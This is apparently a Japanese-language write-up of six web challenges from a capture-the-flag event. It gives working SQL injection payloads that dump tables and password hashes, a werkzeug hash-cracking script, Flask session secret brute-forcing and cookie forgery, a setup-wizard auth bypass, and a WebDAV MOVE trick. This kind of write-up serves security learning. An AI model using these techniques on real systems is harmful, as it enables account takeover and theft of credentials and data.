https://ctftime.org/event/2364
- [Web] iDoor
- [Web] HelpfulDesk
- [Web] All About Robots
- [Web] Hacker Web Store
- [Web] Thomas DEVerson
- [Web] The Davinci Code
[Web] iDoor
ソースコード無し。アクセスしてみるとGET /4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8
という先にアクセスしている。タイトルからIDORを探すのだろう。ということは、このhex列は何か0とか1とかそういったものを指すのだろう。ハッシュ値であると推測をしてCrackStationに渡してみるとHITする。
Hash Type Result 4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8 sha256 11
1をsha256にした/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4bP
にアクセスしてみると、何かのwebカメラの映像が見える。ok.色々試して0をsha256にしたGET /5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
でフラグが得られた。
[Web] HelpfulDesk
ソースコード無しだが、アクセスしてみるとソースコードが配布されている。セキュリティアップデートが要求されているが、まだ適用されていないサイトのようだ。フッターを見ると© 2024 HelpfulDesk - Version 1.1
とあり、バージョンは1.1。セキュリティ対応がなされているのはバージョン1.2なので、なんらかの脆弱性があるらしい。どちらのバージョンのソースコードも配布されているのでdiffを見てみよう…と思ったが、面倒なことにdllで配布されている… だが、diffを取ることでHelpfulDesk.dllに変更があることが分かるので、このソースコードを比較しよう。
SetupControllerに差分があった
using System; using System.Collections.Generic; using System.IO; using System.Runtime.CompilerServices; using System.Text.Json; using HelpfulDesk.Models; using HelpfulDesk.Services; using Microsoft.AspNetCore.Mvc; namespace HelpfulDesk.Controllers { // Token: 0x0200001F RID: 31 [NullableContext(1)] [Nullable(0)] public class SetupController : Controller { // Token: 0x060000F9 RID: 249 RVA: 0x000041AC File Offset: 0x000023AC public IActionResult SetupWizard() { if (System.IO.File.Exists(this._credsFilePath)) { string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/'); if (requestPath.Equals("/Setup/SetupWizard", StringComparison.OrdinalIgnoreCase)) { return this.View("Error", new ErrorViewModel { RequestId = "Server already set up.", ExceptionMessage = "Server already set up.", StatusCode = 403 }); } } return this.View(); } // Token: 0x060000FA RID: 250 RVA: 0x0000422C File Offset: 0x0000242C [HttpPost] public IActionResult SetupWizard(string username, string password) { string filePath = Path.Combine(Directory.GetCurrentDirectory(), "credentials.json"); List<AuthenticationService.UserCredentials> credentials = new List<AuthenticationService.UserCredentials> { new AuthenticationService.UserCredentials { Username = username, Password = password, IsAdmin = true } }; string json = JsonSerializer.Serialize<List<AuthenticationService.UserCredentials>>(credentials, null); System.IO.File.WriteAllText(filePath, json); return this.RedirectToAction("SetupComplete"); } // Token: 0x060000FB RID: 251 RVA: 0x00004289 File Offset: 0x00002489 public IActionResult SetupComplete() { return this.View(); } // Token: 0x0400009F RID: 159 private readonly string _credsFilePath = "credentials.json"; } }
これはバージョン1.2のもの。バージョン1.1だとstring requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
がstring requestPath = base.HttpContext.Request.Path.Value;
になっていた。つまり末尾にスラッシュを入れることでその後の確認がbypassできるようである。
ということで/Setup/SetupWizard
にアクセスしてみる。すると、403エラーとともにException Message: Server already set up.
と言われる。ソースコード通りですね。今回は脆弱なバージョンなので/Setup/SetupWizard/
にしてみると、Setup Wizardが立ち上がり、管理者の認証情報を設定する画面が表示される。適当に設定すると管理者アカウントの認証情報が上書きでき、ログインすることができる。ログイン後は適当に巡回すると最終的にはGET /Dashboard/DownloadFile?fileName=flag.txt
でフラグが手に入る。
[Web] All About Robots
ソースコード無し。問題文に従い、robots.txtを見てみよう。/robots.txt
User-agent: * Disallow: /open_the_pod_bay_doors_hal_and_give_me_the_flag.html
ということで/open_the_pod_bay_doors_hal_and_give_me_the_flag.html
にアクセスするとフラグが手に入る。
[Web] Hacker Web Store
ソースコードは無いが、password_list.txtというファイルが与えられる。
This challenge may require a local password list, which we have provided below. Reminder, bruteforcing logins is not necessary and against the rules.
とあるのでログインブルートフォースには使わないらしい。webサイトにアクセスしてみるとsessionのCookieがもらえる。
Set-Cookie: session=.eJxNy0EKgCAQQNG7zFoSDBK6jIzNiJJpNbOL7p7Llg_-fyCkmyXDmrAKG6AYTtRhsLkfbDdNVlik9BYIFSMO2TjP7Mk7t1AKFCe5alEGA9p3bmP-B_B-Gq0iIA.ZlBUWw.-DtXEWxUSPXj4Qcf72WWmS4V7Fs; HttpOnly; Path=/
websiteのタイトルからFlaskが使われているので、Flaskのセッションだろう。ここから色々やると、POST /create
にてSQL Injectionが見つかる。name=s&price='&desc=s
を送ると、Set-Cookie: session=.eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c; HttpOnly; Path=/
というcookieが帰ってきて、flask-unsignを使って中身を見ると
$ flask-unsign -d -c ".eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c" {'_flashes': [('message', "Error in Statement: INSERT INTO Products (name, price, desc) VALUES ('s', ''', 's');"), ('message', 'near "s": syntax error')], '_fresh': False, 'db_path': '/home/ctf/session_databases/b33e7d7226df_db.sqlite', 'token': 'b33e7d7226df'}
良い感じにエラーが出ている。INSERT文をうまく使って情報を抜き出すことができる。スキーマ構造を抜き出してみよう。', (SELECT group_concat(sql) FROM sqlite_master)); --
をpriceに入れてみる。
CREATE TABLE users ( id INTEGER NOT NULL, name VARCHAR(100), password VARCHAR(100) NOT NULL, PRIMARY KEY (id) ),CREATE TABLE products ( id INTEGER NOT NULL, name VARCHAR(100) NOT NULL, price INTEGER, "desc" TEXT, PRIMARY KEY (id) )
いいですね。', (SELECT group_concat(name) FROM users)); --
とするとJoram,James,website_admin_account
。そして', (SELECT group_concat(password) FROM users)); --
とすると
pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34, pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b, pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57
と出てくる。やっと辞書を使いそうな局面に来ました。これと配布されているpassword_list.txtを使ってパスワードクラックする。これはFlaskのwerkzeugで使われるパスワードハッシュであり、以下のスクリプトでクラックした。
from werkzeug.security import generate_password_hash, check_password_hash hashes = [ 'pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34', 'pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b', 'pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57', ] with open('password_list.txt', 'r') as file: for password in file.readlines(): password = password.strip() cnt = 0 for hashed in hashes: if check_password_hash(hashed, password): print(f'[FOUND] {hashed} -> {password}') cnt += 1
結構時間がかかるので待つと出てくる。
$ python3 crack.py [FOUND] pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57 -> ntadmin1234
ということでwebsite_admin_account:ntadmin1234
でログインするとフラグが得られる。
[Web] Thomas DEVerson
ソースコード無し。サイトを巡回してソースコードを眺めると<!-- <a href="/backup" class="pl-md-0 p-3 text-white">Backup</a> !-->
というのが見つかる。アクセスしてみるとソースコードが一部見える。
---------- command output: {head -n 10 app.py} ---------- from flask import (Flask, flash, redirect, render_template, request, send_from_directory, session, url_for) from datetime import datetime app = Flask(__name__) c = datetime.now() f = c.strftime("%Y%m%d%H%M") app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}' allowed_users = ['Jefferson', 'Madison', 'Burr'] # No Federalists Allowed!!!! ---------- command output: {head -n 10 requirements.txt} ---------- Flask==3.0.3
サイトを巡回するとログインっぽいエンドポイントがある。POST /login
というのがあるので、Burrと送ってみると、Cannot login as Burr, account is protected!
と言われる。それっぽい。このログイン試行のときにもらえるsessionがflaskのもので、flask-unsignを見てみると、以下のようになっている。
$ flask-unsign -d -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ" {'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'}
nameというカラムがありますね。これが偽装できればよさそう。秘密鍵は、先ほど漏洩していたソースコードにヒントがある。再掲する。
c = datetime.now() f = c.strftime("%Y%m%d%H%M") app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'
時刻を取得しているが、GET /status
というエンドポイントがあり、System healthy! Computing uptime... 82817 days 15 hours 0 minutes
のように起動時刻からの時間を教えてくれている。そこから起動時間を推測して辞書を作りクラックすると鍵が見つかる。
$ cat make_dic.py import requests, subprocess, re from datetime import datetime, timedelta BASE = 'http://challenge.nahamcon.com:32692/' # calc uptime r = requests.get(BASE + "status").text #print(r) match = re.search(r"(\d+)\s+days?\s+(\d+)\s+hours?\s+(\d+)\s+minutes?", r) days = int(match.group(1)) hours = int(match.group(2)) minutes = int(match.group(3)) uptime = datetime.now() - timedelta(days=days, hours=hours, minutes=minutes) #print(uptime) for d in range(-1000,1000): cand = uptime + timedelta(minutes=d) print('THE_REYNOLDS_PAMPHLET-' + cand.strftime("%Y%m%d%H%M")) #result = subprocess.run(['ls', '-l'], capture_output=True, text=True).stdout #payload = "', (SELECT group_concat(sql) FROM sqlite_master)); --" #payload = "', (SELECT group_concat(name) FROM users)); --" #payload = "', (SELECT group_concat(password) FROM users)); --" #res = requests.post(f'{BASE}/create/', data={'name':'s', 'price':payload, 'desc':'s'}).text #print(res) $ python3 make_dic.py > dic.txt $ flask-unsign -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ" --unsign --wordlist dic.txt --no-literal-eval [*] Session decodes to: {'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 512 attemptsLET-17970825 b'THE_REYNOLDS_PAMPHLET-179708250845'
ok. GET /
とかでもらえるやつを改ざんして、nameをJeffersonにして、GET /messages
を見るとフラグが書いてあった。
$ flask-unsign -d -c "eyJuYW1lIjoiZ3Vlc3QifQ.ZlEpnQ.33Au_c9XeallX2HjDX_rJ7yOOjc" {'name': 'guest'} $ flask-unsign --sign --secret THE_REYNOLDS_PAMPHLET-179708250845 --cookie "{'name': 'Jefferson'}" eyJuYW1lIjoiYWRtaW4ifQ.ZlEq1A.MfNd_XpYhjvue5aVueotFe74vm8 $ curl -b 'session=eyJuYW1lIjoiSmVmZmVyc29uIn0.ZlErHQ.9xz77ORHdCgGlfzKk23J9QHJJeY' http://challenge.nahamcon.com:32692/messages | grep flag % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2108 100 2108 0 0 6121 0 --:--:-- --:--:-- --:--:-- 6127 <strong>flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■}</strong>
[Web] The Davinci Code
GET /code
でエラーが出る。ソースコードが一部漏洩する。
abort(405) abort(404) @app.route('/code') def code(): return render_template("code.html") @app.route('/', methods=['GET', 'PROPFIND']) def index(): if request.method == 'GET': return render_template('index.html')
PROPFIND /
というのができるっぽい。調べるとWebDAV。
PROPFIND /
から以下の情報が分かる/__pycache__
/templates
/app.py
/static
/the_secret_dav_inci_code
PROPFIND /the_secret_dav_inci_code
から/the_secret_dav_inci_code/flag.txt
が見つかるが、そのままでは見れない
ということで、/the_secret_dav_inci_code/flag.txt
を見るために/static
に移して、それから取得することにする。以下のようにやればフラグが得られる。
$ curl -X MOVE --header 'Destination:static/flag.txt' 'http://challenge.nahamcon.com:30484/the_secret_dav_inci_code/flag.txt' $ curl http://challenge.nahamcon.com:30484/static/flag.txt flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}